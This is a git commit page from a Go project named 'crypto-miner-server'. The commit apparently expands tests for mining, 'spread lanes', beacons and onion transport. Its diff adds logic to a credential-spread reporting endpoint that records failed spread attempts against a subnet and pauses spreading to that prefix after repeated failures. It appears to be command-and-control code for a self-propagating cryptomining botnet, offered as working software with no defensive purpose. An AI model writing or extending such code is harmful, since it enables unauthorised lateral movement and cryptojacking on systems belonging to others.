Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -2,9 +2,11 @@ package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"crypto-miner-server/internal/atlas"
dbpkg "crypto-miner-server/internal/db"
)
@@ -194,5 +196,14 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if !req.Success {
target := req.Subnet
if target == "" {
target = req.Host
}
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
}
}
writeJSON(w, map[string]interface{}{"ok": true})
}